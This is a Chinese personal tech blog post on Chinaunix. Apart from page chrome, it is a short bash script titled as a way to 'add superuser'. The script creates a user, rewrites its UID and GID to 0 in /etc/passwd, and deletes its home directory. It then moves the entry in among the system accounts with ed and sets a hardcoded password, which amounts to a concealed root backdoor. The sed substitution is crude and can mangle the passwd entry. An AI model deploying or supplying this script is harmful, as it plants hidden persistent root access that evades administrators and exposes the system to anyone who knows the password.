Chinaunix首页 | 论坛 | 博客
  • 博客访问: 340891
  • 博文数量: 54
  • 博客积分: 497
  • 博客等级: 下士
  • 技术积分: 612
  • 用 户 组: 普通用户
  • 注册时间: 2010-03-16 20:05
个人简介

行动…Don\'t ever let somebody tell you, you can\'t do something. you got a dream, you gotta protect it. people can\'t do something themselves they wanna tell you you can\'t do it.if you want something. go get it.

文章分类

全部博文(54)

文章存档

2021年(3)

2018年(1)

2017年(18)

2016年(7)

2015年(4)

2013年(1)

2011年(20)

我的朋友

分类: LINUX

2011-07-08 15:36:44

注:第一版在使用中无法更改密码。故改之。(中间停止了这么几年忘的差不多了。拿出来用发现有问题。故改之)
#!/bin/bash
#program:
#        This program is used to add superuser!
#Author:
#       linuxman
#history:
#        2011/07/8 linuxman First release
#        2011/07/15 linuxman modify
#        2015/08/03  linuxman modify
grep linuxman /etc/passwd > /dev/null 2>&1
if [ $? == 1 ];then
        useradd linuxman > /dev/null 2>&1
        i=`grep -n linuxman /etc/passwd | awk -F : '{ print $1 }'`
        echo -e "${i}m15\nw\nq">mm   #创建文本给下面的ed编辑器使用。取新建用户的行号,把取到的行移到15行之后保存。
        sed -i '/linuxman/s/5../0/g' /etc/passwd
        userdel -r linuxman >/dev/null 2>&1
        ln -s /etc/passwd passwd > /dev/null 2>&1
        ed - passwd < mm
fi
pwconv && echo "mypasswd" | passwd --stdin linuxman > /dev/null 2>&1
阅读(1223) | 评论(0) | 转发(0) |
0

上一篇:vnc 服务端配置

下一篇:jira 的搭建方法

给主人留下些什么吧!~~